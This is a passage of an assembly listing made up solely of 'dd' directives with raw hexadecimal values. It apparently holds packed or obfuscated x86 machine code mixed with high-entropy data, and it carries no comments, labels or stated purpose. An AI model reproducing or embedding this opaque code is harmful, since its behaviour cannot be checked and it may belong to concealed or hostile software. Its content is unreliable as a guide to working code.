1E2B7CA9h, 0D5DE3FC5h, 50A514F8h, 0B5A9A4F0h, 193441AEh dd 0C72775B5h, 1B93D016h, 0C394406Fh, 27D9AE0h, 0C7150996h dd 9FF312AFh, 0AB1F63BDh, 71FB0A8Eh, 0AA447584h, 0F87B56A3h dd 789EDEBEh, 63D62C95h, 9B13D93Dh, 446AA3BEh, 16C74B8Fh dd 615CA50Dh, 5349B90Dh, 0FB801C52h, 7AD8FD71h, 8EAD4E75h dd 7ACB17F9h, 0A6BD91F4h, 0D77BB52Ah, 2610DF21h, 0C5F00508h dd 65618517h, 0EA2E4B25h, 2B927690h, 0E31EE2DDh, 0AAFF24A1h dd 0EACEFB0Ah, 0B18C9500h, 845F89CDh, 0B3B9C2DAh, 4017863Bh dd 0F20BFA50h, 0D5077BCFh, 40053551h, 0A640BA24h, 3CED51A9h dd 0E10CDEEBh, 848CBA99h, 0D48A1B99h, 7CA9B3C8h, 54A81C2Dh dd 51A6E86h, 95ED2440h, 0C07DF17Bh, 385A4B37h, 1D2C7FAEh dd 5CE5B1D5h, 33CC3622h, 0DF058AA7h, 33103E22h, 239814CFh dd 0FA1755B5h, 0CFCF79E3h, 204496ADh, 5C4C2D71h, 0C45684FEh dd 236C24A0h, 0B2C2AB18h, 8189A79Bh, 61F2CFD8h, 0F2467384h dd 3C681072h, 97160CAAh, 6ABD256Eh, 0B397EB5Fh, 73247A0h dd 56B4CAB3h, 2880D91Ch, 0F75BBF0Ch, 0F074864Ah, 4A0CE494h dd 0AF09271Bh, 91ACF91Eh, 78455A4Bh, 0AFF815CEh, 3692E92h dd 0F3000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 70E4h, 51241C89h, 0C181E189h, 4, 8704E983h dd 895C240Ch, 0C468241Ch, 8900003Ah, 68522404h, 25EF4464h dd 81DAF75Ah, 0F16A2BC2h, 0F2814A61h, 3A12F4B6h, 148BD389h dd 4C48324h, 24048B54h, 6804C483h, 0E65h, 8F241C89h, 48B0840h dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 241C8B5Ch dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA9C62E9h, 128332FFh dd 0D7E63EACh, 57B8A227h, 30610E2h, 0F0E0FFC5h, 0C44FC760h dd 7E0343CDh, 0A655827Bh, 88548A55h, 4C3BFBE3h, 0B174EC9Dh dd 0CA44362Ch, 2B647766h, 9405BA7Ch, 0DE7D354Eh, 580406ABh dd 6262A64Bh, 0A46F5423h, 8D701DBBh, 10E3D08Dh, 0E9852906h dd 8B060B15h, 0B084DBDh, 4D8D8906h, 6A060B17h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0F641C357h, 0C9170E1Ah, 757AE781h, 85C773A1h, 60B0119h dd 59C4h, 985C7F5h, 60B10h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4A1CC356h dd 1A49B5FFh, 0BA52060Bh, 1B113EDCh, 0C595FF58h, 6A060B0Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 669AC353h, 9D89C38Bh, 60B075Dh, 0FF006AF9h dd 0B32DD95h, 0EBC08B06h, 414EB70Dh, 1C35C661h, 0E3FF9922h dd 8EB3233h, 3EA44F4Ch, 2410000h, 0C32E9h, 0E5B26800h dd 3AE90610h, 68FFFB5Fh, 610E69Ch, 0FB5F30E9h, 0E81568FFh dd 26E90610h, 68FFFB5Fh, 610E8BEh, 0FB5F1CE9h, 0E95668FFh dd 12E90610h, 68FFFB5Fh, 610EB78h, 0FB5F08E9h, 0EC3268FFh dd 0FEE90610h, 68FFFB5Eh, 610EDACh, 0FB5EF4E9h, 0EEB168FFh dd 0EAE90610h, 0FFFFFB5Eh, 0B8BB0482h, 73F6413Dh, 323582FCh dd 0F46FD8B6h, 0A0AD1A74h, 6B639B8Fh, 0A620599Ch, 0E2DC1ED9h dd 229CD215h, 77E09C55h, 7BAE40AAh, 0B49DC0C9h, 7E5836h dd 9D5D4AD7h, 66916975h, 0F873F4AAh, 838C6C9Eh, 0D20C8AE0h dd 4FF8D611h, 0AC14CAE0h, 9D5CF6BBh, 0C9C52475h, 3513CF33h dd 0E0DE1CD7h, 9E69964Ah, 4F8A588Ah, 4C41E97Fh, 783E41AEh dd 48A1A29Ch, 0A40FC14Eh, 6F91E513h, 0D054A7BDh, 53F9D517h dd 0E64D60EFh, 0B9BC0E62h, 41h, 9F637B5Eh, 7436B6A1h, 0A03B4F8Ah dd 0EB7C2246h, 4A741341h, 0B91555EEh, 33842FDDh, 216F91F7h dd 7B53AAC9h, 94EA6D9Fh, 8EBC1A5Dh, 6254F652h, 0BC0305F4h dd 97FC55A4h, 8BC0E54h, 0E9h, 5836B42Dh, 229EE87Eh, 0D1A1B00Bh dd 99D16A26h, 36B40F3Dh, 538409DAh, 0BAA7759Eh, 76878983h dd 403C1C3Eh, 89DB11AAh, 522C1B3Fh, 8DB355Ch, 759DF683h dd 3CCA890h, 9DF374F0h, 52AAAD75h, 0DD6AD674h, 1DEAE41Ah dd 2AA4DAh, 0AA846E70h, 8B07E5B9h, 52E0C4Fh, 6F92C778h dd 0E894A39Fh, 5B83A710h, 0F3AEB997h, 0E84984F4h, 0D6303610h dd 6430C375h, 58B61621h, 0CB615D9Fh, 0ED0DE817h, 0ABC32691h dd 0B25836B4h, 250924Eh, 9E45A02h, 9CBA263h, 0E9060000h dd 0A4C722EDh, 639A5D2Ah, 1D599C6Bh, 0DB13D6A1h, 0F63B14E3h dd 3CCCA22h, 400F87E0h, 0FC4B43A5h, 3C8B0379h, 119E4937h dd 267BAE42h, 9651746Bh, 16D17E58h, 24E97AD6h, 33759D5Dh dd 5D159A4Dh, 0DE22759Dh, 3E398662h, 1B79C6C0h, 1926A0D8h dd 9F637BA2h, 7436B6A1h, 0C73B4F8Ah, 34398225h, 65536F92h dd 334FDC07h, 94646F92h, 0D326956Bh, 0BC0E1768h, 0B03Bh dd 36B4DC00h, 81E57E58h, 0C3BE705h, 2B3C1A40h, 759D5C66h dd 3492EA8Dh, 0B434AF58h, 3BBF30DAh, 77759D59h, 37329DF9h dd 5B2FDDB9h, 9641BF83h, 4F8A6DFAh, 222503FFh, 4093CDC9h dd 6F922DBBh, 68D760D8h, 78569C42h, 845E27EFh, 0E8C63A49h dd 0C8B70F6Fh, 0E073CD2Dh, 69847E1Bh, 7DEFE701h, 27837F9Dh dd 5AB1592Dh, 79D476E4h, 8E1h, 0CFBD328h, 47308EE9h, 86714DACh dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h dd 0ED03E651h, 53CD2691h, 0AE42FB80h, 6E91187Bh, 0ED5A34B4h dd 2D9AF40Ah, 0F4D2142Fh, 7582FC7Fh, 3F36B40Eh, 0F72BC1BDh dd 106EF11Bh, 0F97A58B6h, 37EB017Dh, 9D5D5F2Ch, 7B847475h dd 0FA40A68Ch, 45A8BE9Ch, 99F521Dh, 6B7E03D4h, 0A595759Dh dd 0A7AB3EC9h, 6E4F8A79h, 3E3591D5h, 0F62AC0BEh, 0A9C19749h dd 1E87B6DEh, 3AF48B94h, 5CB62934h, 7BF14AE0h, 3BB1B403h dd 9606A943h, 0ADC6BBF7h, 0E6C4408Bh, 4BB6B07Dh, 43C81BE8h dd 50E84BB7h, 61EE52E8h, 0A16E6886h, 3871ADA3h, 0DC84257Eh dd 0DAC71E2h, 77CBE84Ch, 0F7CF2DC8h, 0F4A9255h, 4AC2E84Ch dd 0AACC077Fh, 2A40232Ch, 0EA00E3ACh, 93BCB2ECh, 836E985Bh dd 812AE611h, 0E84BE835h, 0C958A301h, 6C6CDBB3h, 0A3591EBh dd 97B5116Fh, 3917DB03h, 38F1062Eh, 0C9271BC2h, 7993EB0Eh dd 0A3877681h, 0BB99F73Bh, 23413CB5h, 1621C170h, 2D58D343h dd 0D872CEBCh, 890561E2h, 0C590BF63h, 0DC355A75h, 9D8F0761h dd 0A209EDAh, 36F0DB99h, 0E9408B41h, 4F6AED82h, 47925h dd 0D7A43200h, 0D5759D5Ch, 759D6E84h, 9D49E142h, 4A86D775h dd 4B93759Dh, 7E5E89E7h, 734F8A3Dh, 0F1FBB58Fh, 7A10DE4Ch dd 7689Bh, 724CA100h, 8F076285h, 0C8C625C0h, 680E47Fh dd 403EBEB9h, 4D5996F7h, 3E6512Dh, 0C023ECEAh, 845F28A6h dd 4A9F6866h, 4474392Ah, 0E837BAEh, 5836B4D7h, 0F00BCCB2h dd 7B847496h, 6D4BAF37h, 8CBA59FAh, 2D9A664Fh, 0D40A01AAh dd 1B27306Eh, 0E2497991h, 46880661h, 0F62EBB1Dh, 0FEA2AD76h dd 0C7232402h, 16C140CFh, 981FBC84h, 85E3479Fh, 0CF2DE52h dd 0ADCC0794h, 0E17A26D1h, 3C1C0E88h, 8DEAA40h, 9713C422h dd 928E0159h, 0D4FA70AEh, 0FB0D9A6h, 292AAA55h, 0E90CFBD3h dd 79393B93h, 8E9FD5CEh, 6BF211Ch, 0F50A0000h, 0B0CB2E99h dd 6F8E69D6h, 294DA817h, 0E707E2ADh, 22F20EFh, 0FF8D616h dd 4C3B93D4h, 88774FA9h, 0C8B70F6Dh, 1DE27523h, 3A7BAE45h dd 637B0077h, 0E60482F8h, 0F7605E3Ah, 4F8A6AEBh, 4718320Eh dd 24BFAD29h, 9C27C5C1h, 0ABC8625Ch, 48BC6655h, 15C92396h dd 5C60F32Dh, 79497F58h, 9A233681h, 58698739h, 698737D3h dd 0C6AD016h, 76957ADBh, 5FB98143h, 798F6A89h, 0DE698974h dd 0A7F3B932h, 992F6375h, 0B56375A8h, 0DF855F37h, 3CEA6986h dd 6274F8Eh, 8DE20000h, 48A34631h, 766814Eh, 0C125C08Fh dd 7FFF7AC5h, 9A57B807h, 0A7106E8Eh, 0E4532B4Ch, 20EFE701h dd 602FA7C5h, 0B57AED8Bh, 0C27BAE45h, 637BA8CFh, 43A6A19Fh dd 0CF88F021h, 0F551B218h, 7C5CEB57h, 8DB24AEBh, 84AF8D4Fh dd 6F8D70F7h, 11C23C1Ch, 6F8D708Ch, 0F4A857ABh, 1F5DE604h dd 0ED2D8A7h, 5A52914Ah, 8F6BE3BCh, 2AA4DA9Dh, 6A649A5Dh dd 85017FC0h, 3D99DC67h, 0DA36B40Fh, 8D858409h, 0F3AF936Fh dd 6B638659h, 0EF9960C0h, 3849B088h, 1D7BC4C2h, 1A25A1DAh dd 12C52C97h, 8DEF68BCh, 0D2110631h, 26000001h, 0A19F637Bh dd 0C14E48A6h, 663010C3h, 0CD4D4F8Ah, 4741945Fh, 8DCB6F92h dd 0B755314Ah, 0D524BC4Bh, 0A19F637Bh, 2DF26543h, 4A6F9246h dd 87FF7DF6h, 0FF8AB565h, 497F4FD7h, 3F3816EAh, 0F028C2BCh dd 0DF1DD847h, 302DF265h, 0F64A6987h, 2FC24F98h, 69D16987h dd 0A6C49F8Dh, 0F675CE28h, 0AA806F98h, 0B290CE34h, 13690EBCh dd 0B946CA2Fh, 73A0DA2Eh, 0D973CF43h, 8E0860E3h, 0C093BC9Ch dd 637BA177h, 12C52311h, 637B9F8Dh, 0D3A956AAh, 42BBBCE8h dd 34F96A44h, 43637BA0h, 0F65D50FFh, 0A9C824A6h, 49h, 0F8637B4Eh dd 5EE40680h, 0E46C446Fh, 6BC7A3E2h, 86192F0Dh, 0A3E5506h dd 281DE275h, 0C63A759Eh, 0D20ADD6Ah, 0DF4F8B3Eh, 0D566C963h dd 836F92FEh, 7BFC6E68h, 4638905h, 74CBBD0Ch, 4FB40DFCh dd 0D0BC0D4Dh, 0CEh, 0E07351E5h, 759D5D1Bh, 5CAE73E4h dd 75C5759Dh, 0E0DE1CC7h, 0D3A964Ah, 90BA146Ah, 0EDBDAFCFh dd 0F872F209h, 99CB5083h, 10E8759Dh, 0A932D8B4h, 0ED17B53h dd 2B2996F0h, 54F6D028h, 4C885BE4h, 60759D96h, 0EFC38C0Ah dd 0D9A6B1F7h, 0FE759D94h, 2EA8C102h, 0BDC31472h, 44F8FC5h dd 0E4703D26h, 0BB876F8Fh, 0E68D08Ch, 6ED9B535h, 0F848D86Eh dd 6876F95h, 2A723F28h, 0B9816F90h, 3B93EB8Eh, 4F048D39h dd 0CD08A2DEh, 405h, 68D7AFCCh, 0A36C6A8Dh, 0E2AD2940h dd 1CEBE307h, 5A25A1D9h, 90E8BC75h, 4DAE4936h, 9638671h dd 0C927C28Dh, 8FE902CDh, 0AE47D7A4h, 4AADFC7Bh, 0CAC49B51h dd 838DFA97h, 1D79F174h, 5D39B7B2h, 36B48BF2h, 87E57E58h dd 8B4C000Fh, 293F1975h, 21DC5BCFh, 0CC3BC45Ch, 0DE13A4D5h dd 0C624759Ch, 9CDC901Dh, 7C5A9E75h, 2D562DEh, 759CDDB9h dd 5AB47E60h, 0DD26EB7Ch, 0CD4D759Ch, 0E3644242h, 0B6370C8Ah dd 41CE32D8h, 8C3A0DB6h, 0F775CE4Fh, 26CC709Fh, 2B8C10BFh dd 4CFE5A26h, 3B93D56Eh, 941E2911h, 0A58EE852h, 4978CE89h dd 20B68C8Ch, 37E45E80h, 34BB895h, 69860000h, 2447A26Dh dd 0E31ADDAAh, 9DD91CEBh, 5B935621h, 76BB9463h, 834C4AA2h dd 0C08F0760h, 7CCBC325h, 0BC0B83F9h, 911EC9B7h, 0A67BAE48h dd 9651F4EBh, 15D07F57h, 8A4DFFD7h, 0AFAD1A74h, 5D19E671h dd 0C23E759Dh, 81697D35h, 5868BCA7h, 0FD5D4F8Ah, 0DB7D4D83h dd 76C76262h, 3B3894F2h, 0F424C6C0h, 9D2E814Bh, 4B6F916Bh dd 2CB75531h, 895FCDC9h, 735CD58Fh, 263C127Dh, 966ED1D3h dd 0A265CE23h, 46C6BC0Eh, 0DF000000h, 0A19F637Bh, 0BF4846A6h dd 73D616C1h, 0E5DB4F8Ah, 9232AD72h, 40CD166Fh, 576F9233h dd 418351EBh, 0A3025AFAh, 0C369C5A1h, 0E7B4BF9Dh, 0C6F91F2h dd 0E770030Ch, 816F91F3h, 0C229804Bh, 65BC0E57h, 0E5h dd 5836B472h, 92D129B2h, 10C8625Ch, 61995AB4h, 0AD36DA65h dd 4C97F54Fh, 759D5CBFh, 32FF64D4h, 41759D5Dh, 95BCC693h dd 63DF1EA6h, 9CD26587h, 46825522h, 7A759E3Dh, 3A3D8A04h dd 8EECCAC4h, 9E3BD8A5h, 6B302375h, 88759E3Bh, 89B68AB0h dd 0A02BB3C7h, 0B0EE4A44h, 78569152h, 16E16ED2h, 4F8B4A1Eh dd 0EBE304DFh, 7E58A05Ch, 0FD0A84E5h, 0B5350E0Eh, 62842ED9h dd 2944C91Ah, 0EF536F93h, 0DA12D533h, 65924EFCh, 55ECFC67h dd 79C14985h, 0A8A4C41Fh, 8575F2BFh, 5D390169h, 9FF777F2h dd 59B93D45h, 0DD38D2E4h, 1D1h, 1CEBE318h, 57209ED9h, 96615D9Ch dd 0D0BF1753h, 0EF9D515h, 0C424F001h, 81FA7DCAh, 3DBFBA05h dd 0FD73F641h, 433D3681h, 0AE4A0B90h, 7E61287Bh, 0ED5A34B4h dd 2D9AF40Ah, 9F637B36h, 0B48D43A1h, 6ED2BBA0h, 1592631h dd 827E759Eh, 0E4E1926h, 34F8B18h, 0A0A62058h, 0D2EC4CCFh dd 33D9B502h, 15718A4Dh, 0A463283Bh, 88706F92h, 0A563F47Fh dd 0F70D6F92h, 0A746AD04h, 0F84EBC0Dh, 1118784h, 9A8BB424h dd 0B6h, 0FD6644A2h, 6F92C630h, 0A368FB47h, 0B06F92C5h dd 51D8BF48h, 345E279Bh, 5956B649h, 51698A65h, 0D093BC18h dd 0B50E3C9Ah, 0FE163335h, 229E3305h, 49E26846h, 93C1920Bh dd 228547F0h, 759DD2A6h, 9D6A649Ah, 80AA245Ah, 2A04EEF0h dd 8AE00939h, 19CA284Fh, 6F92BE94h, 0CB05FA3h, 776F430Ch dd 178255B3h, 0F44984EFh, 0D1292A04h, 8FEF0AF5h, 20AF3D37h dd 2EDCE45Ah, 0CCEFh, 0EEE80500h, 2BA3C621h, 6462995Ch dd 0A21C589Bh, 0FCDA12D5h, 21F53A13h, 0E702CDC9h, 0A4BF0886h dd 78FB4442h, 363B8402h, 4B109D46h, 6A277BAEh, 5A34B473h dd 9AF40AEDh, 36B4362Dh, 0BCCB258h, 3FCC17F1h, 54759D5Dh dd 64FF08E4h, 378FEF06h, 0FE492515h, 0EAB7A09Eh, 9759D5Ch dd 7978725Bh, 0BB17396Eh, 7AC0268Ch, 0C4253E1Ch, 5AA3DCAh dd 124F8D59h, 45BB3C2Eh, 90D46F49h, 0DF1A0936h, 0AC0725A1h dd 374058CBh, 58E9D016h, 18DBA422h, 0FD46E4E2h, 0B9EF1D79h dd 675F985Bh, 0A8B900D8h, 688B7452h, 2896B412h, 18144322h dd 2FC070F3h, 362026DAh, 4DE76939h, 90A79E33h, 0ACC31DEh dd 0E9000000h, 0B9323593h, 44F32FDDh, 5F37B45Dh, 0FAD42AADh dd 116D8F50h, 8F0760FBh, 24A2DA9Dh, 413DBD06h, 0FAD410ABh dd 16708F50h, 8E0863F4h, 3B68199Ch, 89000034h, 62682434h dd 8900003Dh, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 241C895Ch, 8904EC83h, 4BBB241Ch, 890610E4h, 0EC815BD8h dd 4, 81242489h, 42404h, 685B0000h, 5863h, 89243C89h, 87B89C7h dd 241C8B5Fh, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch dd 81582434h, 4C4h, 531BE900h, 0AA17FFFBh, 0AEFD322Eh dd 0B8AF0472h, 610EFA2h, 0E0FFC503h, 46AD115Dh, 1B263D0Dh dd 2B71C282h, 68CE047Bh, 7F2B65AFh, 7B1DD432h, 3DC7BF4h dd 7EC077E2h, 43C168F7h, 7D109B7h, 3156B34Dh, 39B6FDFDh dd 41D57F6Fh, 413E4A6Ch, 314BDF22h, 649FD689h, 5423E5D1h dd 4A8DBEB2h, 34972B24h, 6772D7F2h, 0F17E8D8Dh, 66500610h dd 5F858DBAh, 174D8D89h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 5873A2C3h, 0FA8EC9E1h dd 0E9FBA440h, 0Ch, 0AB34E372h, 11A0B9Ch, 0CCAD510Ch, 11985C7h dd 6F90060Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0F2FBE9C3h, 0B30BA3BEh, 985C7C8h dd 60B10h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0D275C356h, 0DEBA0C54h, 7BA00166h dd 0EE9h, 0CC7BE900h, 0F2442EE4h, 9AD5C681h, 0FF5AA0DAh dd 0B1AA9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 5EB68DD6h, 9E9h, 1613B300h, 0C002BE43h dd 95FFE82Eh, 60B0AC5h, 0F08B6656h, 69BD895Eh, 6A060B07h dd 0DD95FF00h, 8B060B32h, 24FEBC0h, 0D4BD645h, 72BFB30h dd 3A8B8D25h, 0FEE7FD95h, 0CF2DC435h, 7F248539h, 503BC5B7h dd 0BE598A54h, 0E6E775D8h, 355A26FEh, 51458F78h, 0E692C404h dd 853C12F3h, 8EC48009h, 0C4D0E24Fh, 31D8BA5Eh, 8E6DFA2Dh dd 41E22696h, 6917CADh, 13E8662Fh, 95000000h, 0D354F759h dd 830B53EFh, 5271075h, 14336D91h, 32BAA5B4h, 58400934h dd 81D38B66h, 6B71C0h, 91952300h, 0BB060B07h, 60C32C67h dd 0EE51C381h, 0D7819F3Ch, 1A5A4D55h, 0B50130FFh, 60B0635h dd 5870F5Eh, 66000000h, 4F4CE781h, 46BAC681h, 0BA661B10h dd 0F6811319h, 5AB43611h, 8AEE81FCh, 0B1E5046h, 0B28B195h dd 83308906h, 0BD8B01E8h, 60B001Dh, 0E9484848h, 0Dh, 74762138h dd 2138B877h, 0B8777476h, 850F4B38h, 0FFFFFFA8h, 7D2DBF66h dd 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh, 0B7E37C4Dh dd 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h dd 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h dd 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h dd 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h, 95ABAFF6h dd 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h, 2273E2ADh dd 0E9554F4Dh, 1077h, 10F4ED68h, 8C41E906h, 0C068FFFAh dd 0E90610F5h, 0FFFA8C37h, 10F69068h, 8C2DE906h, 0EB68FFFAh dd 0E90610F7h, 0FFFA8C23h, 10F87068h, 8C19E906h, 4268FFFAh dd 0E90610F9h, 0FFFA8C0Fh, 10F9DD68h, 8C05E906h, 0AB68FFFAh dd 0E90610FAh, 0FFFA8BFBh, 10FB6A68h, 8BF1E906h, 3068FFFAh dd 0E90610FCh, 0FFFA8BE7h, 10FDB168h, 8BDDE906h, 9D68FFFAh dd 0E9061100h, 0FFFA8BD3h, 11019068h, 8BC9E906h, 66B0FFFAh dd 0C1BF46Fh, 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh dd 855E61BBh, 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh dd 94C584EEh, 0D5DEBF25h, 5F231E6Dh, 0A9B3077Bh, 67234D32h dd 7EA4D520h, 6B7A856Fh, 0D2ED37D0h, 18362A6Eh, 220EE035h dd 97F99A52h, 4DDF0478h, 87DFABC3h, 6A50C394h, 89A79AE3h dd 0EDC6735h, 9F831BE6h, 62D62CBDh, 618982C2h, 1885573Ah dd 764A3E03h, 35CFDED8h, 2C35A114h, 5C3Dh, 0D6FDB00h, 0EC39E476h dd 5409680Ah, 0C6011F9h, 0C0AA44B8h, 9F1A0DACh, 0B41862BDh dd 9CE914A6h, 69F9DDA1h, 3A60E81Dh, 0F67EA892h, 3A60E896h dd 0E70F9943h, 3A60E8E3h, 59AF1E64h, 0E7E6C06Eh, 792DFE5Dh dd 0C259C37Fh, 0A4133A24h, 0B2292C35h, 0A2EB03D1h, 5A1FC97Eh dd 0D5h, 0F8D5DEA2h, 0BB5FA514h, 99007A94h, 0F4E874h, 8D714C59h dd 136BCBDCh, 64582Ch, 0C6024BD3h, 27D6C394h, 3A1EE2DDh dd 0D9F4010Ch, 0AD98ED1Ah, 0A0BBC1D9h, 169E28BAh, 0C394C472h dd 310C18F5h, 0FB15094Dh, 9FDA6E6Bh, 8C20B2BDh, 3A61B2F8h dd 7EDD0B4Fh, 0D027D604h, 20AC47E1h, 2296ADF5h, 207C40EEh dd 375DD11Bh, 88446C23h, 247DA8B2h, 0B751B519h, 8DB0C835h dd 0D370E05Fh, 563A1762h, 0AD5AC572h, 0FED2EF34h, 22769750h dd 0A376D413h, 858D8C6Ah, 0DD5C2h, 0E8E73300h, 0BE8B9A0Bh dd 3948A5h, 0D5EC32D3h, 0A49BE10Eh, 3AD118BFh, 0EB04DFE6h dd 5BB4AF92h, 4E1724Dh, 0EC1DC6F3h, 0E99CE87Ch, 0A413C584h dd 0FBDADE3Ch, 0DA7A8F78h, 589BFFC6h, 0AD0D6FB8h, 0B22F195Dh dd 6FFDD189h, 0E9E430DDh, 0C606B73Fh, 1367BD9Fh, 0FCCDDCC9h dd 1676FE52h, 0C33A6184h, 0D3CD4D1h, 242C368Ah, 0ADh, 0F8D5DEC0h dd 605FA514h, 1B0D549Ch, 5BACC394h, 611FC6Eh, 0E50347CBh dd 0A590E502h, 0B8C3D9D1h, 0FF3F3AB2h, 0CA304260h, 6A1E9620h dd 903A60CCh, 60CC681Ch, 3C9BFF3Ah, 0EF4F28C6h, 8CBD2D8Dh dd 0EFABD5CFh, 639C6C6Dh, 0DD315FAAh, 68EEE70Fh, 1B7F446Dh dd 0E1DC24D1h, 0B08F9572h, 6ACDC5B7h, 0B708FA8Ch, 0D02h dd 263D141Eh, 5083BEC9h, 8E5564B7h, 393A1961h, 6A89B4CCh dd 136984EBh, 0C1D6372Ch, 7E8667FCh, 26739C47h, 29C3C82Bh dd 84E8C185h, 1F746C5h, 78FBDADEh, 4F201ECh, 0EB1C63B8h dd 20CE2234h, 76EDD82Dh, 0F8D5DE8Eh, 6550A514h, 0CF0211FEh dd 4281927Bh, 941D5E2Ah, 3E9D1C3h, 941D9FEBh, 362A10C3h dd 93AEF924h, 0BA3DEB2Fh, 0F983BDD5h, 5174F862h, 0D6BD9F05h dd 0A7B8BECh, 3C34EAD6h, 9D11DB60h, 0BFF450D8h, 49A1156Dh dd 5D68BD33h, 0BFCB63E9h, 303FCB62h, 0E004D6CAh, 3FCB62E4h dd 2933176Bh, 2A9EABFCh, 3EB638D6h, 41C6AD56h, 9A0BD129h dd 1CAEBC89h, 0C51CFC88h, 0E10F7335h, 0A19CE906h, 10200A6h dd 0B017F38Ah, 0C32h, 0D60D444Eh, 0D3EE39h, 0BEA594E7h dd 0E90A4951h, 1AD9E43Ch, 4359B4BBh dd 0F106E77Ch, 0AEF617CCh, 56A34C97h, 0D913F87Bh, 84EB3155h dd 51C7B6C5h, 14F8D5DEh, 0E1058814h, 0C3941DE5h, 50241564h dd 5BBF837Ch, 9BEF0791h, 6CC3941Dh, 0FE76F816h, 0BD9F1EABh dd 56DEA51h, 8550957h, 0DA1961DEh, 0F17B009Ch, 6B03687Dh dd 5785FD44h, 0B1080BE8h, 0BA548835h, 9BEE9E56h, 0B13B307Dh dd 9BFB8F27h, 764C307Dh, 35CFDED8h, 262A7714h, 92ADFB2Ah dd 1FE3DE2Bh, 44740D3Bh, 90000000h, 90E30D6Fh, 59745B9h dd 92BC8D98h, 9EE155C2h, 7EECD6BDh, 9C4E798Fh, 640C303Fh dd 43EDEF96h, 684C3EA0h, 43B23A60h, 63EA043Bh, 6F66AE16h dd 0E93FE80Bh, 97E10CDEh, 56F0D4B8h, 0B541DF2h, 6FA70000h dd 5AE4760Dh, 1D20A4C8h, 51A9C394h, 83AD9562h, 844A48F3h dd 0AAC24CBDh, 3A7B10DEh, 40BF6951h, 0F005F07Ah, 82764B50h dd 105034B8h, 0E3D73A7Bh, 5F48AB8Fh, 6165894Ah, 0E63A7B10h dd 0D4D4B89Ch, 5A9B3C8h, 446B47EBh, 1B6F8711h, 0EC304A07h dd 7C9B7896h, 6D7DB05h, 0CB117597h, 67FCC9DAh, 0FC407D86h dd 915BE0BCh, 41A1001Dh, 62EDD54Eh, 927E4D46h, 0D7F255BDh dd 3500000Ah, 9C09EAE1h, 4ABBB889h, 34D1023Fh, 0E30CD7EEh dd 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah, 0C0FD06E7h dd 0EA02EE13h, 0C584EA9Eh, 0A73AA211h, 0C3941D27h, 6CFE8517h dd 844A3EF8h, 0C8DCB1BDh, 0D13509FDh, 29899A0Bh, 162B76DEh dd 160A6EA2h, 0BD3143CDh, 3A7B13C9h, 43CA645Eh, 24D11B36h dd 0C246E0D1h, 0A349D2AAh, 70105E0Bh, 505D8244h, 0DE2F444Eh dd 47BB98B6h, 6E7BCA88h, 4639098Ch, 0A52h, 0F66D64AEh dd 20330E19h, 5E85B4C7h, 896A69B1h, 3A39041Ch, 63B9549Bh dd 1166875Ch, 0CED6372Ch, 76836CF7h, 0F973985Bh, 84E51175h dd 0B12796C5h, 1B6DD5DEh, 0A6F1582Ch, 1A5B7ABh, 0C3941D45h dd 289CF0CAh, 0B5193441h, 72F6F78Dh, 0F4457483h, 0E82C90A1h dd 0D2DDC3Eh, 28043240h, 0E0000004h, 764B50BDh, 1CA04E82h dd 8471FB80h, 0CDB59D73h, 0D01781E7h, 1A3408FCh, 102EDC50h dd 0CCA1BD84h, 0C5398DB8h, 798A7BE1h, 2D76974Ch, 0C484AC10h dd 263A7B75h, 99634BB9h, 0B452621Bh, 5D8F94E8h, 9E526CD3h dd 7B4E62h, 1C70C4F5h, 23460E38h, 0C94470F0h, 0FA08292h dd 7071E3E7h, 0E11E6430h, 79974150h, 1DA7A09Ah, 0E28C6DD9h dd 980AF60h, 8A9C0000h, 3047A0B3h, 0E635D201h, 879F08EBh dd 364ABBB8h, 66DD40Fh, 0B1A29DE7h, 0E1724F54h, 1EC5F004h dd 4AA9A4F1h, 4703AB41h, 0C8C584E4h, 0D5DE8379h, 50A514F8h dd 2B619165h, 0CC7669Ah, 70E23240h, 0A000003h, 941D27A7h dd 88517C3h, 941DE0E4h, 3F1367C3h, 403CA32Dh, 76889438h dd 85C165F7h, 0AC394F3h, 0C64E1630h, 79BD84A4h, 0D92ADB01h dd 7A8F7EECh, 276B04Fh, 0D568B64Eh, 3A4FB83Bh, 1963BB0Fh dd 1154D802h, 5644701Eh, 0EEBE36Ch, 2A188C6Eh, 8E555h dd 0D8F70300h, 0AE9BEA1Bh, 704958B5h, 0C5FC02E3h, 94ABF11Eh dd 0AE1084Fh, 0FB14CFF6h, 0AB449FA2h, 14F1625Dh, 0DC2D3603h dd 0E4EC980Ch, 9463C584h, 0F8D5DE2Ch, 6550A514h, 0E3D22891h dd 0FF67AE1Fh, 0D62A9EA9h, 56500EF2h, 811B3B57h, 0D5D8C04h dd 0C4743240h, 90000002h, 941D27A7h, 88517C3h, 941DE0E4h dd 3F1367C3h, 